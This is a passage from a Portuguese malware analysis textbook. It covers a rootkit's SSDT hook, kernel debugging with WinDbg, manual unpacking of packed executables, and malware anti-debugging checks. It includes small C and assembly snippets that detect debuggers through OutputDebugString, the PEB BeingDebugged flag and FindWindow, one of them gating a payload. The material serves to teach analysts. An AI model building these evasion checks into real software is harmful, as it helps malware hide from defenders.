SSDT. A segunda chamada para MmGetSystemRoutineAddressdá-nos o endereço da SSDT si.
Em seguida, há um loop de 4 para 5, que itera através da SSDT atéencontrar um valor que
corresponde ao endereço da NtCreateFile, que será substituída pela função de hook.
O hook é instalado pela última instrução nesta lista em 6, ondeo endereço da função é
copiado para um local de memória.
A função de hook executa algumas tarefas simples. Ele filtra certas requisições ao mesmo
tempo em que permite outras passarem pela NtCreateFile original. A listagem abaixo mostra a
função de hook.
Engenharia Reversa e Análise de Malware | 141

A função de hook faz um jump para a função NtCreateFile original para algumassolicitações
e retorna para 0xC0000034 para os outras. O valor 0xC0000034 corresponde a
STATUS_OBJECT_NAME_NOT_FOUND. A chamada em 1 contém um código (não mostrado)
que avalia os ObjectAttributes (que contém informaçõessobre o objeto, tais como nome do arquivo)
do arquivo que o programa em user-mode está tentando abrir. A função de hook retorna um valor
diferente de zero se for permitido o prosseguimento da função NtCreateFile, ou retorna zero se o
rootkit bloquear o arquivo de ser aberto. Se a função de hook retorna um zero, a aplicação user-
mode receberá um erro indicando que o arquivo não existe. Issoprevine que os aplicativos user-
mode obtenham um handle para um arquivo em particular e em contra partida não interfere nas
outras chamadas à NtCreateFile.

Referências:
[1] http://pt.wikipedia.org/wiki/Stuxnet
[2] http://en.wikipedia.org/wiki/Duqu

9.7.Lab 09-02 Análise de kernel-mode rootkit com o WinDbg

Nesse Lab iremos analisar um rootkit em kernel-mode com a ajuda do WinDbg. Como
estaremos debugando o próprio kernel do Windows é necessário que o debugger execute a partir de
outro computador. Veremos como fazer com o que o WinDbg executado a partir de uma máquina
real se comunique com uma máquina virtual com Windows.

Material necessário
Engenharia Reversa e Análise de Malware | 142

- Máquina Virtual Win XP SP3


- IDA Pro
- WinDbg (com symbols)
- Arquivo: Lab-09-02.rar

9.7.1. Configurando Kernel-Mode Debugging com WinDbg e VirtualBox

Como sabemos, o kernel-mode lida diretamente com o sistema operacional, então caso
queiramos debugar nesse nível de privilégio é necessário realizar esse procedimento a partir de
outro computador. Assim, no computador host teremos instalado o WinDbg e no computador guest
teremos o Windows que iremos debugar, nesse caso o computador host será a máquina Windows
real e o guest será uma máquina Windows virtual que roda através do VirtualBox, porém as mesmas
configurações podem ser feitas no VMWare.

Passo a Passo

1- A comunicação entre as duas máquinas será feita através da porta serial COM, mas como
estamos lidando com uma máquina virtual essa porta também será virtual. Na janela de
configurações da máquina virtual abra a guia referente às portas seriais.

2-Habilite a porta serial, deixa como COM1, em modo de porta escolha “Pipe no Hospedeiro”,
marque a opção Criar Pipe e em porta digite: \\.\pipe\com_1. Veja como ficaram as configurações:
Engenharia Reversa e Análise de Malware | 143

3- Agora iremos criar uma entrada no boot loader do Windows para ele iniciar não opção de
debugging. Inicie a máquina virtual normalmente, abra o arquivo “C:\boot.ini”. Caso não esteja
aparecendo será necessário desmarcar a opção “Ocultar arquivos protegidos do sistema
operacional” no Windows Explorer.

4- Duplique a última linha do arquivo boot.ini, e nessa última linha adicione os parâmetros:
/debug /debugport=COM1 /baudrate=115200.
O que estamos fazendo aqui é adicionar ao boot do Windows “outra versão” do Windows, nesse
caso uma versão com suporte a debugging e comunicação através da COM1, o parâmetro baudrate
é a velocidade dessa comunicação. A versão final do arquivo ficou assim:

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional"
/noexecute=optin /fastdetect
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Windows XP Pro com Kernel Debugging"
/noexecute=optin /fastdetect /debug /debugport=COM1 /baudrate=115200

5- A máquina virtual guest já está pronta, agora reinicie e antes do Windows inicializar serão
apresentadas as duas versões, selecione a versão com suporte a debugging.
Engenharia Reversa e Análise de Malware | 144

6- O próximo passo é configurar o WinDbg no computador host para comunicar com o Windows da
máquina virtual. Abra o WinDbg e clique em File – Kernel Debug...

7- Configure a aba COM com os parâmetros abaixo, ou seja, são os mesmos parâmetros
configurados na máquina virtual. Clique em OK.
Engenharia Reversa e Análise de Malware | 145

8- O WinDbg ficará aguardando a conexão com a máquina virtual. Reinicie a máquina virtual na
versão kernel debugging e o WinDbg irá se conectar. Para verificar os módulos de kernel que estão
sendo carregadas habilite a opção de verbose no WinDbg no menu View – Verbose Output. A
janela exibirá informações parecidas com essas abaixo.

9- O WinDbg está pronto para debugar o kernel da máquina virtual. Para parar a execução da
máquina virtual e habilitar a utilização do debugger, pressione Ctrl + Breakno WinDbg. Na
verdade isso gera um breakpoint no Windows que está sendo debugado.
Engenharia Reversa e Análise de Malware | 146

9.8. Referências de comandos e uso do WinDbg

Common WinDbg Commands (Thematically Grouped) By Robert Kuster


http://windbg.info/doc/1-common-cmds.html

Várias fontes de informações sobre o WinDbg


http://windbg.dumpanalysis.org/
Engenharia Reversa e Análise de Malware | 147

10. Técnicas contra Engenharia Reversa

Conforme já foi discutido, atualmente quase todos os malwares possuem alguma espécie de
“armadura” para se protegerem. Primeiramente para evitarem ser detectados pelas ferramentas de
segurança como antivírus e sistemas de detecção de intrusão. Também querem ficar longe dos olhares
curiosos dos analistas de vírus, pesquisadores de segurança e outros profissionais interessados em
realizar a engenharia reversa do código.
As técnicas empregadas para dificultar a engenharia reversa do código são conhecidas por vários
nomes, entre eles anti-reversing, obfuscation e ofuscação de código. Elas podem ser utilizadas em
conjunto criando várias camadas de proteção, às vezes é difícil distinguir quando termina uma camada
de proteção e quando começa outra. Os cryptors ou crypters são ferramentas comuns utilizadas pelos
autores de malware para adicionarem várias dessas proteções aos executáveis. Para facilitar os estudos
podemos agrupar essas técnicas em quatro grupos: Packers, Anti-Debugging, Anti-Disassembly e Anti-
Virtual Machine. A seguir veremos com mais detalhes cada uma dessas técnicas.

10.1. Packers

Packers se tornaram muito populares entre os autores de códigos maliciosos porque eles ajudam
os malwares se esconderem de antivírus, dificultam a análise, e ainda diminuem o tamanho do arquivo.
A maioria dos packers é fácil de utilizar e estão disponíveis gratuitamente para download. Analisar
estaticamente um malware que está com packer não é muito útil, o packer deve ser removido antes de
ser feita a análise, o que às vezes é muito complicado.
Packers são utilizados em executáveis por duas razões principais: para diminuir o tamanho do
arquivo e/ou frustrar a análise e detecção. Embora haja uma grande variedade de packers, todos seguem
um padrão similar: eles transformam um executável e criam um novo executável que armazenará o
executável transformado como dados e conterá uma “unpacking stub”, isto é, uma seção de código que
fará o processo de unpacking, que será chamada pelo SO.

10.1.1. Anatomia dos Packers

Quando o malware está com packer (compactado), um analista só terá acesso ao arquivo
compactado, e não poderá examinar o programa original sem o packer e nem o programa utilizado para
compactar o malware. Para realizar o unpacking de um executável, nós devemos desfazer o trabalho
realizado pelo packer, o que requer o entendimento de como o packer opera.
Engenharia Reversa e Análise de Malware | 148

Todos os packers recebem um executável como entrada e produzem um executável como saída.
O arquivo compactado é comprimido criptografado, ou transformado, tornando difícil a tarefa de
reconhecê-lo ou fazer a engenharia reversa.
A maioria dos packers utiliza um algoritmo de compressão para comprimir o executável
original. Um packer projetado para dificultar a análise o executável original pode empregar técnicas
contra engenharia reversa como anti-disassembly, anti-debugging, ou anti-VM. Packers podem
compactar todo o executável, incluindo todas as seção de dados e resources, ou podem compactar
somente a seção de código e dados.
Para manter a funcionalidade do programa original, um programa compactado precisa
armazenar informações sobre os Imports. A informação pode ser armazenada em qualquer formato e
existem várias estratégias para isso. Quando fazemos o unpacking do programa, reconstruir a tabela
de imports às vezes pode ser desafiante e levar muitas horas, mas é necessário para analisar as
funcionalidades do programa.

10.1.2. O código de Unpacking

Executáveis sem packers são carregados pelo SO. Com programas compactados, a seção de
código de unpacking é carregada pelo SO e então ela carrega o programa original. O entry point
aponta para o código de unpacking ao invés de apontar para o entry point original. O programa
original geralmente é armazenado em uma ou mais seções extras do arquivo.
O código de unpacking pode ser visualizado pelo analista de malware, e entender as
diferentes partes desse código é fundamental para realizar o unpacking do executável. A seção de
código de unpacking geralmente é pequena, uma vez que ela não contribui para a funcionalidade
principal do programa, e sua função normalmente é simplesmente: fazer o unpacking do executável
original. O código de unpacking realiza três passos:
 Faz o unpacking do executável original na memória
 Resolve todos os imports do executável original
 Transfere a execução para o Original Entry Point (OEP)

O local, no código de unpacking, onde é feito a transferência para o OEP, é conhecido como
Tail Jump. Uma instrução JUMP é o jeito mais simples e mais popular para transferir a execução
do programa para outro endereço. Uma vez que isso é muito comum, muitos packers maliciosos
tentarão ofuscar essa função utilizando a instrução RET ou CALL. Ás vezes o tail jump é ofuscado
com funções do SO que transferem o controle, como a NtContinue ou ZwContinue.
Engenharia Reversa e Análise de Malware | 149

Unpacking Ilustrado

Veremos nas figuras abaixo ilustrações do processo de unpacking.

O executável original no disco antes de ser Executável compactado com o packer e


compactado com o packer. armazenado no disco. O arquivo original fica
em uma seção e o Entry Point aponta para o
código de unpacking.

Unpacking parcial do programa após ele ser O programa completamente descompactado na


carregado na memória. O código de unpacking memória. A tabela de imports foi reconstruída e
descompactou todo o código necessário para ele o Entry Point foi editado e voltou para o OEP.
rodar. O Entry Point do programa ainda aponta
para o código de unpacking e a tabela de
imports ainda não existe.
Engenharia Reversa e Análise de Malware | 150

Note que a versão final do programa descompactado é diferente do programa original. O


programa descompactado ainda contém a seção de código de unpacking e outros códigos que foram
adicionados pelo packer. O programa descompactado tem um PE Header que foi reconstruído pelo
unpacker e que não será exatamente igual ao do programa original.

10.1.3. Identificando Programas com Packers

Um dos passos iniciais ao analisar malware é descobrir se ele está compactado com packers.
Veremos algumas técnicas que podem ser empregadas para descobrir isso, a lista a seguir sumariza
sinais que podem ser buscado para descobrir se um malware está compactado.

 O programa tem poucos imports e particularmente se os únicos imports forem


LoadLibrary e GetProcAddress.
 Quando o programa é aberto no IDA Pro, apenas uma pequena quantidade de código é
reconhecida pela análise automática.
 Quando o programa é aberto no OllyDbg, há uma mensagem alertando que o programa
pode estar compactado.
 O programa exibe nomes de seção que indicam um packer particular (como UPX0).
 O programa tem tamanhos de seções anormais, como uma seção .text com o
SizeOfRawData de 0 e VirtualSize diferente de 0.
 Ferramentas de detecção de packers também podem ser utilizadas, como o PEiD,
Exeinfo PE e RDG Packer Detector.

10.1.4. Métodos de Unpacking

Existem três opções para realizar o unpacking de um executável compactado: unpacking


estático automático, unpacking dinâmico automático e unpacking dinâmico manual. As técnicas de
unpacking automático são rápidas e mais fáceis que unpacking dinâmico manual, mas essas técnicas
nem sempre funcionam. Se você identificou o tipo de packer usado, você pode tentar descobrir se
há disponível uma ferramenta automática de unpaking. Se não, você terá que buscar informação
sobre como realizar o unpacking manual.
Quando lidar com malware com packer, lembre-se que seu objetivo é analisar o
comportamento do malware, o que nem sempre requer que você recrie o arquivo original do
Engenharia Reversa e Análise de Malware | 151

malware. Na maioria das vezes, quando você faz o unpacking do malware, você cria um novo
binário que não é idêntico ao original, mas que faz mas mesmas coisas que o original faz.

Unpacking Automático

Programas de unpacking estático automático descompactam ou descriptografam o


executável.Este é o método mais rápido, e quando funciona, é o melhor método, uma vez que não
executa o arquivo, e restaura o executável para o seu estado original. Esses programas são
específicos para um único packer, e eles não vão funcionar para packers que são projetados para
impedir a análise.
O PE Explorer, que é pago mas possui uma versão Trial, é um programa para trabalhar com
arquivos EXE e DLL, e vemcom vários plug-ins de unpacking estáticos como parte da instalação
padrão. Os plug-ins suportam NSPack, Upack e UPX. Fazer o unpacking de arquivos com PE
Exploreré completamente transparente. Se o PE Explorer detecta que um arquivo que você escolheu
está compactado, ele descompactará automaticamente o executável. Note que se vocêquiser
examinar o executável descompactado fora do PE Explorer, você terá que salvá-lo.
Unpackers dinâmicos rodam o executável e permitem a descompactação para o código
original. Uma vez que o executável original é descompactado, o programa é gravado em disco e o
unpacker reconstrói a tabela de imports original. O programa de unpacking automático deve
determinar onde o código de unpacking termina e onde o executável original começa, o que é difícil
de fazer.
Infelizmente, atualmente não há disponíveis publicamente ferramentas de unpacking
dinâmico automático. Muitas ferramentas disponíveis publicamente fazer um trabalho adequado
com alguns packers, mas nenhuma está completamente pronta para uso sério.
Ambas as técnicas automatizadas de unpacking trabalham rapidamente e são fáceis de
usar,mas elas têm sucesso limitado. Um analista de malwares deve saber a diferença entre as
ferramentas de unpacking automatizados, lembre-se: as dinâmicas executam o malware e as
estáticas não. Toda vez que o programa malicioso for executado, é necessário ter certeza de que isso
acontece em um ambiente seguro.

Unpacking Manual

Às vezes, malware com packer pode ser descompactado automaticamente por um programa
existente, mas mais frequentemente deve ser realizado o unpacking manual. Unpacking manual
pode por vezes ser feito rapidamente, com um esforço mínimo, outras vezes ele pode ser um
Engenharia Reversa e Análise de Malware | 152

processo longo e árduo.


Existem duas abordagens comuns para descompactar manualmente um programa:

 Descubra o algoritmo de packing e escreva um programa para executá-lo em sentido


inverso. Ao executar o algoritmo em sentido inverso, o programa desfaz cada um dos
passos do programa de packing. Existem ferramentas automatizadas que fazem isso, mas
esta abordagem ainda é ineficiente, uma vez que o programa escrito para descompactar o
malware será específico para o packer utilizado. Assim, mesmo com a automatização,
esse processo leva uma quantidade significativa de tempo para completar.

 Execute o programa compactado de modo que o código de unpacking faça o trabalho


para você, e, em seguida, faça o dump da memória do processo, e corrija manualmente o
PE Header (caso necessário) para que o programa fique completo. Esta é a abordagem
mais eficiente.

10.1.5. Unpacking Manual

Utilizando a segunda abordagem, temos que realizar algumas etapas para que o programa
fique corretamente descompactado. Essas etapas são:

1. Encontre o OEP e pare a execução exatamente nele.


2. Faça o dump da memória do processo.
3. Reconstrua a Import Address Table (IAT).

Veremos a seguir com mais detalhes cada uma dessas etapas.

1. Encontrando o OEP

O Original Entry Point é o endereço da primeira instrução do programa antes de ele ter sido
compactado. Encontrar o OEP pode ser uma das tarefas mais difíceis do unpacking manual.
Existem algumas ferramentas que podem ser utilizadas para isso, mas nem sempre irão ter sucesso.
Algumas delas são:

 OllyDump plug-in para o OllyDbg. Esse plug-in possui duas funcionalidades úteis para
unpacking de malware, uma delas é encontrar o OEP através da opção Find OEP by
Engenharia Reversa e Análise de Malware | 153

Section Hop. A outra envolve fazer o dump da memória do malware.


 Generic OEP Finder plug-in do PEiD. O PEiD já vem com um plug-in genérico que
tenta encontrar o OEP de uma executável com packer. Cuidado porque ao utilizar essa
opção o PEiD vai executar o malware para tentar o OEP.
 Collaborate RCE Tool Library. Esse site possui uma vasta biblioteca de ferramentas
relacionadas à engenharia reversa, dentre elas ferramentas pra buscar o OEP de
executáveis com packers.

Caso o processo automático de encontrar o OEP não tenha sucesso, será necessário tentar
encontrá-lo manualmente com a ajuda de debuggers. Não existem estratégias que funcionem com
todos os packers, cada um tem sua particularidade, é importante conhecer os métodos mais comuns
para desenvolver seus próprios métodos.
Código compactado e de unpacking são muitas vezes diferentes do código que debuggers
normalmente lidam. Esse tipo de código muitas vezes se auto modificam, contém instruções CALL
que não retornam, código que não está marcado como código, e outras coisas estranhas. Esses
recursos podem confundir os debuggers e causarem o fracasso dos breakpoints.
Algumas estratégias que podem ser seguidas para encontrar o OEP manualmente:

A mais simples é buscar pelo Tail Jump. Como mencionado anteriormente, essa instrução
salta do código de unpacking para o OEP. Normalmente é uma instrução JMP, mas alguns autores
de malware fazem isso com uma instrução RET para evitar detecção. Frequentemente o tail jump é
a última instrução válida antes de um monte de instruções inválidas, cujos bytes são utilizados como
alinhamento para seções do PE.
Engenharia Reversa e Análise de Malware | 154

Duas características indicam claramente que esse é um tail jump: ele está localizado no final
do código e ele faz ligação com um endereço que está muito distante. Normalmente jumps são
utilizados em condicionais ou loops e saltam para endereços que estão poucas centenas de bytes de
distância, porém esse está a 0x999D0 ou 629.200 bytes de distância.
Tendo encontrado o OEP devemos executar o programa com o debugger exatamente até ele,
ou seja, devemos colocar um breakpoint para parar a execução nesse ponto. Pode ser utilizado um
software breakpoint comum (F2) no tail jump e quando atingido pressionar F7 para atingir o OEP
ou pode-se colocar um hardware breakpoint exatamente no OEP que será atingido assim que for
feito o tail jump. Um hardware breakpoint é um breakpoint que o próprio processador gerencia, ele
não modifica nada no programa, o processador simplesmente sabe quando parar quando um
endereço específico da memória é acessado. No nosso caso quando o OEP for acessado.
Outra estratégia para encontrar o OEP manualmente é colocar breakpoints após cada loop no
código. Isso permite que você monitore cada instrução que está sendo executada sem consumir uma
quantidade enorme de tempo indo pelo mesmo código do loop várias vezes. Normalmente, o código
terá vários loops, incluindo loops dentro de loops. Este método é manualmente intensivo e
geralmente demora mais tempo do que outros métodos, mas é fácil para compreender. A maior
armadilha com este método está em colocar um breakpoint no lugar errado, o que fará com que o
executável execute completamente sem atingir o breakpoint. Se isso acontecer, não desanime. Volte
para onde você parou e continue colocando breakpoints mais adiante no processo até encontrar o
OEP.
Outra estratégia para encontrar o tail jump é colocar o breakpoint na função
GetProcAddress. A maioria dos unpackers usará GetProcAddress para resolver as importações para
a função original. Um breakpoint que atinge GetProcAddress está bem avançado no código de
descompactação, mas ainda há uma boa porção de código antes do tail jump. Colocar um
breakpoint no GetProcAddress permite-lhe ignorar o início do código de unpacking, que muitas
vezes contém o código mais complicado. Abaixo a localização da chamada a GetProcAddress no
código de unpacking do UPX, conseguimos visualizar bem abaixo no código o tail jump.
Engenharia Reversa e Análise de Malware | 155

2. Dump da memória do processo

Uma vez que tenha atingido o OEP é hora de fazer o dump da memória. Isso porque ao
atingirmos com o debugger o OEP, o processo já está todo descompactado na memória, basta que
copiemos o conteúdo da memória para um arquivo no disco.
Para realizar esse processo, duas ferramentas são mais utilizadas, o plug-in OllyDump que
também possui uma função de dump de memória, e o Lord PE, que dentre outras funções também
realiza o dump. Lembrando que esse processo deve ser feito com o malware aberto no OllyDbg e
parado bem no breakpoint. Os programas irão fazer o dump a partir desse processo.
No OllyDump quando clicamos na opção de dump do processo, é exiba a janela abaixo.
Note que como estamos criando um novo arquivo PE para o processo da memória é necessário fazer
algumas alterações nesse arquivo, como por exemplo, no PE Header, agora o Entry Point do
arquivo não pode apontar mais para o código de unpacking, ele deverá apontar para o OEP que
encontramos. O OllyDump já faz essas correções automaticamente. Inclusive ele possui opções de
reconstrução da IAT, às vezes essa opção pode funcionar e às vezes não. Na próxima etapa
saberemos como lidar com a IAT.
Engenharia Reversa e Análise de Malware | 156

No LordPE o processo também é simples, basta clicar com o botão direito em cima do
processo que está sendo descompactado e selecionar a opção “dump full”, será aberta uma janela
para especificar o local no disco onde salvar o dump da memória.

3. Reconstrução da Import Address Table (IAT)

Com o processo já descompactado no disco, o último passo é reconstruir a IAT do arquivo.


Uma ótima ferramenta para essa tarefa é o Import REConstructor (ImpREC). O que o ImpREC faz
é buscar na memória do processo os imports e depois aplicar um patch ao dump que salvamos no
disco para corrigir essa informação. Os passos para utilizá-los são os seguintes:
Engenharia Reversa e Análise de Malware | 157

 Selecione, na lista de processos ativos, o processo que está rodando no debugger (ainda)
que está na memória.
 Você deve alterar o OEP apresentado pelo ImpREC, tem que colocar o mesmo que você
encontrou no debugger, mas o endereço tem que ser formato no formato de RVA.
 Clique no botão IAT Autosearch. Você deve ver uma mensagem que foi encontrada a
IAT.
 Agora clique em GetImport. Uma listagem com todos os arquivos com as funções
importadas deve aparecer na janela. Se a operação ocorreu com sucesso, todos os
imports estarão com “valid: YES”.
 Clique no botão Fix Dump. Você deverá informar o caminho para o arquivo de dump
que você salvou com o OllyDump ou LordPE, e o ImpREC irá gravar um novo arquivo
com um underline adicionado ao seu nome.

10.1.6. Analisando sem realizar o Unpacking total

Alguns programas podem ser muito difíceis de descompactar. Às vezes, você pode passar o
dia todo tentando descompactar um programa e não tem sucesso. Talvez o packer está usando uma
nova técnica que você simplesmente não consegue resolver. Se isso acontecer, você não precisa
sempre criar um executável totalmente desempacotado e funcional a fim de analisar uma parte do
malware.
O caso mais simples ocorre quando um programa que está desempacotado falha para
executarporque você não pode reparar completamente a IAT e o PE header. Nesse caso, você ainda
pode usar IDA Pro para analisar o programa, mesmo que não sejatotalmente executável. Depois de
ter salvado o dump no disco, você podeutilizar o IDA Pro analisar seções específicas do código,
navegue até o endereço de memóriae marque esta seção como código. Você também pode buscar
strings noprograma, o que pode revelar as funções importadas e outras informações úteis.
A análise sem conseguir descompactar totalmente o programa é muito limitada,
masdependendo do seu objetivo, pode ser suficiente.
Alguns unpackers realmente não descompactam o programa original inteiroantes que o
programa comece a funcionar. Em vez disso, eles fazem unpacking de uma parte doprograma
original, e executam essa porção. Quando tiver que executar a próxima partede código, essa parte é
descompactado na memória e executada. Isto criasobrecarga considerável para o executável, mas
torna muito difícil para umanalista descompactar.
Fazendo a engenharia reversa da técnica que extrai pedaços individuais decódigo pode
permitir que você escreva um script para descompactar todo o código, ou pelo menosgrandes
Engenharia Reversa e Análise de Malware | 158

porções do mesmo. Outra opção é se concentrar mais na análise dinâmica.

10.1.7. Lab 10-01 Unpacking manual de UPX alterado

Material necessário:

-Máquina virtual com Windows XP 32-bit


-UPX (http://upx.sourceforge.net/)
-OllyDbg 1.10
-OllyDump (http://www.openrce.org/downloads/details/108/OllyDump)
-Lord PE
-ImpREC (http://www.woodmann.com/collaborative/tools/index.php/ImpREC)
-Arquivo: Lab-10-01.rar

10.2. Anti-Debugging

Anti-debugging é uma técnica popular de antianálise utilizada por malwares para reconhecer
quando está sob o controle de um debugger ou para frustrar os debuggers. Os autores de malware
sabem que os analistas usam debuggers para descobrir como os malwares operam, e assim utilizam
técnicas anti-debugging em uma tentativa de dificultar a vida dos analistas tanto quanto possível.
Uma vez que o malware percebe que está sendo executado em um debugger, ele pode alterar seu
fluxo normal de execução ou modificar o código para causar um erro, interferindo nas tentativas dos
analistas para compreendê-lo, e adicionando o tempo e sobrecarga adicional a seus esforços.
Há muitas técnicas anti-debugging, talvez centenas, vamos discutir apenas as mais populares
que encontramos no mundo real.
Malware usa uma variedade de técnicas para procurar indícios de que um debugger está
ativo, inclusive usando a API do Windows, verificando manualmente estruturas da memória em
busca de artefatos de debugging, e procurando no sistema pelos resíduos deixados por um debugger.
Detecção de debugger é a forma mais comum do malware realizar anti-debugging.

10.2.1. Detecção de debugger através da Windows API

A utilização de funções da API do Windows é o método mais óbvio de técnica anti-


debugging. A API do Windows fornece várias funções que podem ser utilizadas por um programa
Engenharia Reversa e Análise de Malware | 159

para determinar se ele está sendo debugado. Algumas destas funções foram concebidas realmente
para a detecção de debugger, outras foram concebidas para diferentes propósitos, mas podem ser
reaproveitadas para detectar um debugger. Algumas destas funções usam funcionalidades não
documentadas na API.
Normalmente, a maneira mais fácil de evitar uma chamada para uma função de anti-
debugging é modificando manualmente o malware durante a execução para não chamar esta função.
Uma opção mais difícil seria colocar um hook nessas funções, como um rootkit.
As funções a seguir da API do Windows podem ser utilizadas para anti-debugging:

IsDebuggerPresent
A função mais simples da API para detecção de um debugger é a IsDebuggerPresent. Esta
função procura na estrutura Process Environment Block (PEB) o campo IsDebugged, que irá
retornar zero se não estiver executando no contexto de um debugger ou um valor diferente de zero
se um debugger estiver ativo. Nós vamos discutir a estrutura PEB mais detalhadamente na próxima
seção.
CheckRemoteDebuggerPresent
Esta função é quase idêntica a IsDebuggerPresent. O nome é enganoso, pois ela não vai
procurar por um debugger em uma máquina remota, mas sim por um processo na máquina local.
Ela também verifica na estrutura PEB o campo IsDebugged, no entanto, ela pode fazer isso para si
mesma ou por outro processo na máquina local. Esta função obtém um process handle como
parâmetro e verifica se esse processo tem um debugger anexado. CheckRemoteDebuggerPresent
pode ser usado para verificar o seu próprio processo, simplesmente passando um handle do seu
processo.

NtQueryInformationProcess
Esta é uma função da Native API em ntdll.dll que recupera informações sobre um dado
processo. O primeiro parâmetro para esta função é um handle (identificador) de processo, o segundo
é usado para informar a função sobre o tipo de informação de processo para ser recuperado. Por
exemplo, usando o valor ProcessDebugPort (valor 0x7) para este parâmetro irá lhe dizer se o
processo em questão está atualmente sendo debugado. Se o processo não estiver sendo debugado,
um zero será retornado, caso contrário, o retorno será um número de porta.

OutputDebugString
Esta função é utilizada para enviar uma string para um debugger exibir, ela pode ser usada
para detectar a presença de um debugger. Por exemplo, no código abaixo, é utilizada a função
Engenharia Reversa e Análise de Malware | 160

SetLastError para atribuir ao código de erro atual um valor arbitrário. Se OutputDebugString for
chamada e NÃO houver debugger ativo, a função irá retornar um erro, e esse erro possuirá um
código diferente do que colocamos. Já se OutputDebugString for chamada e houver um debugger
ativo, a função não retornará nenhum erro, nesse caso o código de erro que atribuímos com
SetLastError ainda estará valendo. Assim podemos definir se um debugger está ativo ou não.

DWORD errorValue = 12345;


SetLastError(errorValue);

OutputDebugString("Test for Debugger");

if(GetLastError() == errorValue){
ExitProcess();
}
else{
RunMaliciousPayload();
}

10.2.2. Checagem manual de estruturas

Usar a API do Windows pode ser o método mais óbvio para detectar a presença de um
debugger, mas checar as estruturas manualmente é o método mais comum utilizado pelos autores de
malware. Existem muitas razões pelas quais eles são desencorajados de usar a API do Windows
para anti-debugging. Por exemplo, as chamadas da API podem ser "hookadas" por um rootkit para
retornar informações falsas. Dessa forma, os autores de malware muitas vezes optam por realizar
manualmente o que as funções da API fazem, assim não dependem delas.
Para realizar verificações manuais, várias flags dentro da estrutura PEB fornecem
informações sobre a presença de um debugger. Iremos ver algumas flags mais comuns utilizadas
para essa detecção.

BeingDebugged Flag
A estrutura Windows PEB (Process Environment Block) é mantida pelo sistema operacional
para cada processo em execução, como mostrado no exemplo da listagem abaixo, ela contém todos
os parâmetros user-mode associados a um processo. Estes parâmetros incluem o ambiente do
processo, que incluem as variáveis de ambiente, a lista dos módulos carregados, os endereços de
memória e o status do debugger.

typedef struct _PEB {


BYTE Reserved1[2];
BYTE BeingDebugged;
Engenharia Reversa e Análise de Malware | 161

BYTE Reserved2[1];
PVOID Reserved3[2];
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
BYTE Reserved4[104];
PVOID Reserved5[52];
PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
BYTE Reserved6[128];
PVOID Reserved7[1];
ULONG SessionId;
} PEB, *PPEB;

Enquanto um processo está executando, a localização da PEB pode ser referenciada por
fs local: [30h]. Para anti-debugging, o malware irá essa localização para verificar a flag
BeingDebugged, que indica se o processo especificado está sendo debugado. A tabela abaixo
mostra dois exemplos deste tipo de verificação.

Método MOV Método PUSH/POP


mov eax, dword ptr fs:[30h] push dword ptr fs:[30h]
mov ebx, byte ptr [eax+2] pop edx
test ebx, ebx cmp byte ptr [edx+2], 1
jz NoDebuggerDetected je DebuggerDetected

No código do lado esquerdo na tabela, a localização da PEB é movida em EAX. Em


seguida, o offset mais 2 é movido para EBX, o que corresponde ao offset na PEB da localização da
flag BeingDebugged. Finalmente, EBX é verificado para ver se é zero. Se assim for, um debugger
não está ativo, e o jump não será executado.
Outro exemplo é mostrado no lado direito da tabela. A localização do PEB é movido em
EDX usando a combinação das instruções push / pop, em seguida, a flag BeingDebugged no offset
2 é diretamente comparada com 1 e o jump condicional determina o caminho do código.
Esta checagem pode assumir muitas formas, você pode utilizar uma das seguintes
abordagens para superar este problema:

 Forçar o jump ser (ou não) executado modificando manualmente a Zero Flag
imediatamente antes que a instrução seja executada. Esta é a abordagem mais fácil.
 Manualmente mudar a flag BeingDebugged para zero.

Ambas as opções são normalmente eficazes contra todas as técnicas descritas nesta seção.

Dica: Existem alguns plug-ins do OllyDbg que alteram a flag BeingDebugged para você. Os mais
Engenharia Reversa e Análise de Malware | 162

populares são Hide Debugger, Hidedebug e PhantOm. Todos são úteis para lidar com a checagem
da flag BeingDebugged e também ajudam em muitas das outras técnicas que discutiremos neste
capítulo.

NTGlobalFlag
Uma vez que os processos são executados de forma ligeiramente diferente quando iniciados
por um debugger, eles criam pilhas de memória de forma diferente. A informação que o sistema
utiliza para determinar como criar estruturas de heap é armazenada em um local não documentado
na PEB no offset 0x68. Se o valor neste local for 0x70, sabemos que estamos executando em um
debugger. O valor 0x70 é uma combinação de várias flags quando uma heap é criada por um
debugger.

Resíduos do Sistema
Ao analisar malware geralmente utilizamos debuggers, que deixam resíduos no sistema. O
malware pode procurar por este resíduo a fim de determinar quando você está tentando analisá-lo.
Pode fazer isso procurando as chaves do Registro que fazem referência aos debuggers. A seguinte
chave é uma localização comum para um debugger:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug

Essa chave especifica o debugger que é ativado quando um erro ocorre em uma aplicação.
Por padrão, esta é definida como Dr. Watson, por isso, se ela é alterado para algo como OllyDbg, o
malware pode determinar que ele está sob observado.
O malware pode também procurar no sistema por arquivos e diretórios, como executáveis de
debuggers comuns, que estão tipicamente presentes durante análise de malware. Ou o malware pode
detectar resíduo em memória, visualizando a listagem de processos em execução, ou mais
comumente, através da realização de um FindWindow, que simplesmente busca por uma janela com
o nome de um debugger, como mostrado no código abaixo.

if(FindWindow("OLLYDBG", 0) == NULL)
{
//Debugger Not Found
}
else
{
//Debugger Detected
}
Engenharia Reversa e Análise de Malware | 163

10.2.3. Identificando o comportamento do Debugger

Lembre-se que debuggers podem ser usados para definir breakpoints ou percorrer o código
de um processo linha-a-linha a fim de auxiliar o analista de malware na engenharia reversa. No
entanto, quando essas operações são realizadas em um debugger, elas modificam o código do
processo. Várias técnicas anti-debugging são utilizadas por malwares para detectar esse tipo de
comportamento do debugger: INT scanning, checagens de checksum e verificações de tempo
(timing checks).

INT scanning
INT 3 é uma interrupção de software usada por debuggers para substituir temporariamente
uma instrução em um programa em execução e para chamar um debugger exception handler - um
mecanismo básico para definir um breakpoint. O opcode para INT 3 é 0xCC. Sempre que você usar
